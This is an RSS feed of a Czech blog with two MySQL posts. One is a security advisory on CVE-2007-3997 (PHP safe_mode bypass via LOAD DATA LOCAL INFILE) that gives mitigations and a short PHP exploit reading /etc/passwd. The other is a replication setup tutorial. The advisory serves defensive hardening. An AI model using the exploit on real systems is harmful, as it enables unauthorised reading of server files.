<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hodžův blog &#187; MySQL</title>
	<atom:link href="http://hodza.net/category/linux/sluzby/mysql/feed/" rel="self" type="application/rss+xml" />
	<link>http://hodza.net</link>
	<description>I přestože jsem paranoidní neznamená, že mě nedostanou...</description>
	<lastBuildDate>Wed, 08 Sep 2010 11:37:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>PHP</title>
		<link>http://hodza.net/2007/10/15/php/</link>
		<comments>http://hodza.net/2007/10/15/php/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 11:10:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Hack/Crack]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=23</guid>
		<description><![CDATA[První díl, ze &#8222;seriálu o bezpečnosti&#8220;, aneb tuníme náš server&#8230; Vztahuje se k: &#60; = PHP 5.2.3 &#60;= PHP 4.4.7 CVE: CVE-2007-3997 Problém: Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode. Detail: Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému. Řešení: 1) Kompilovat MySQL klienta s parametrem &#8222;&#8211;disable-local-infile&#8220; [...]]]></description>
			<content:encoded><![CDATA[<p>První díl, ze &#8222;seriálu o bezpečnosti&#8220;, aneb tuníme náš server&#8230;</p>
<p><span id="more-23"></span></p>
<p><strong>Vztahuje se k:</strong><br />
&lt; = PHP 5.2.3<br />
&lt;= PHP 4.4.7</p>
<p><strong>CVE:</strong><br />
CVE-2007-3997</p>
<p><strong>Problém:</strong><br />
Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode.</p>
<p><strong>Detail:</strong><br />
Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému.</p>
<p><strong>Řešení:</strong><br />
1) Kompilovat MySQL klienta s parametrem &#8222;&#8211;disable-local-infile&#8220;<br />
- nepomůže při použití MySQLi, neboť volba se dá znovu povolit příkazem &#8222;mysqli-&gt;options(MYSQLI_OPT_LOCAL_INFILE, 1);&#8220;<br />
2) Do konfiguračního souboru (/etc/mysql/my.cnf) vložit (do sekce [mysqld]) &#8222;set-variable=local-infile=0&#8243;.</p>
<p><strong>Exploit:</strong><br />
function r($fp, &amp;$buf, $len, &amp;$err) {print fread($fp, $len);}<br />
$m = new mysqli(&#8216;localhost&#8217;, &#8216;aaaa&#8217;, &#8220;, &#8216;a&#8217;);<br />
$m-&gt;options(MYSQLI_OPT_LOCAL_INFILE, 1);<br />
$m-&gt;set_local_infile_handler(&#8222;r&#8220;);<br />
$m-&gt;query(&#8222;LOAD DATA LOCAL INFILE &#8216;/etc/passwd&#8217; INTO TABLE a.a&#8220;);<br />
$m-&gt;close();</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/10/15/php/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Replikace MySQL</title>
		<link>http://hodza.net/2007/04/17/replikace-mysql/</link>
		<comments>http://hodza.net/2007/04/17/replikace-mysql/#comments</comments>
		<pubDate>Tue, 17 Apr 2007 14:29:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Služby]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=60</guid>
		<description><![CDATA[Pokud stejně jako já budete používat datbázi s několika tisíci uživateli, postupem času zjistíte, že pouhé on-line backupy MySQL nestačí a je potřeba replikovat. Důvodů může být hned několik &#8211; od velkého loadu primární MySQL až po potřebu provozovat relativně aktuální kopie databází na jiném místě. Mě osobně se týkají obě situce. V prvním případě [...]]]></description>
			<content:encoded><![CDATA[<p>Pokud stejně jako já budete používat datbázi s několika tisíci uživateli, postupem času zjistíte, že pouhé on-line backupy MySQL nestačí a je potřeba replikovat. Důvodů může být hned několik &#8211; od velkého loadu primární MySQL až po potřebu provozovat relativně aktuální kopie databází na jiném místě.</p>
<p><span id="more-60"></span></p>
<p>Mě osobně se týkají obě situce. V prvním případě jsem potřeboval snížit load datbáze o kterou se dělí hned několik služeb (Radius, SMTP AUTH, stistiky provozu apod.). Ve druhém případě jsem se rozhodl alespoň pro velké uzly postavit samostatné radius servery (s replikovanou databází klientů) které budou vždy připraveny v případě výpadku parentích serverů.<br />
<strong><br />
Jak na to?</strong><br />
Na hlavním stroji, ze kterého budeme databázi replikovat musíme nastavit v hlavním konfiguračním souboru MySQL (<em>obvykle /etc/mysql.conf</em>) &#8211; konkrétně v sekci <em>[mysqld]</em> následující:</p>
<p><code>#bind-address = 127.0.0.1<br />
log-bin<br />
server-id=1<br />
binlog-do-db = radius<br />
binlog-do-db = conntrack<br />
binlog-ignore-db = mysql<br />
</code></p>
<p>Pokud je to potřeba, bindneme si MySQL klidně na nějakou jinou IP &#8211; ovšem tak ale, aby jsme se na ni z venku dostali.V dalším kroku je potřeba upravit práva pro přístup. To uděláme přes standardní cmd-line utilitu takto:</p>
<p><code>Přihlásíme se k MySQL a zadáme heslo pro root-a<br />
# mysql -u root -p<br />
Nastavíme práva pro replikaci<br />
mysql&gt; GRANT REPLICATION SLAVE ON *.* TO nejaky_uzivatel@stroj IDENTIFIED BY 'nejake_heslo';FLUSH PRIVILEGES;<br />
Opustíme CMD-line utilitu<br />
mysql&gt; quit</code></p>
<p>Nyní se přesuneme na stroj kam budeme replikovat. Opět si otevřeme hlavní konfigurační soubor mysql a do sekce <em>[mysqld] </em>přidáme totók:</p>
<p><code>server-id = 2<br />
master-host = ip_adresa_hlavni_mysql<br />
master-user=nejky_uzivatel<br />
master-password=nejake_heslo<br />
replicate-do-db=databaze<br />
log-warnings<br />
</code></p>
<p>Položky by měly být jasné, pro jistotu je však vysvětlím. Na první řádek dopíšeme IP adresu mysql ze které budeme replikovat, na druhém řádku napíšeme, pod kterým uživatelem a nakonec jakým heslem. Položka server-id značí <strong>UNIKÁTNÍ ID</strong>. Osobně doporučuji používat pro master ID 1, pro prvního slejva ID 2, pro druhého slejva ID 3 atd&#8230;</p>
<p>Co se týče replikace samotné &#8211; verze MySQL serverů by měly sedět. Pokud tomu tak není, doporučuji dát alesoň na master server nižšší verzi MySQL než na slave. Také je vhodné před započetím replikace odstranit &#8222;všechny chyby&#8220; v databázích (a to příkazem mysqlcheck nazev_datbaze -u root -p &#8211;auto-repair). Osobně dělám replikaci z Gentoo Linuxu (MySQL 4.1.21-log) na Ubuntu Linux (MySQL 5.0.24a-Debian_9ubuntu2-log) a nemám jediný problém. Malinká odchylka u různých distribucí obvykle bývá pouze ve výchozích znakových stránkách. Ty velice jednoduše sjednotíte na obou databázových serverech v hlavním konfiguračním souboru například za pomocí následujících parametrů:<br />
<code>character-set-server = utf8<br />
default-character-set = utf8</code></p>
<p>Aktuálně by již pouhým restartem MySQL serverů mohla začít samotná replikace. Bohužel tento proces by trval neúměrně dlouho a tak je lepší nejprve patřičná data z hlavní databáze zkopírovat na slejva. To lze dvěma způsoby a to pomocí příkazu mysqldump a mysqlrestore nebo klasickým cp přes scp (sftp či jiný protokol). Pro ty z Vás, kteří používáte metodu &#8222;drsňák&#8220;, upozorrňuji, že po zkopírování je potřeba opravit přístupová práva (obvykle chown -R mysql:mysql /var/lib/mysql).</p>
<p>Po restartu Mastra i Slejva můžete kontrolovat proces replikace. U mastra za pomocí příkazu <em>SHOW MASTER STATUS;</em>, u slejva pak pomocí<em> SHOW SLAVE STATUS\G</em>. Pokud se slejvovi nechce, zkuste ho popohnat příkazem <em>SLAVE START</em> a nebo <em>LOAD DATA FROM MASTER</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/04/17/replikace-mysql/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
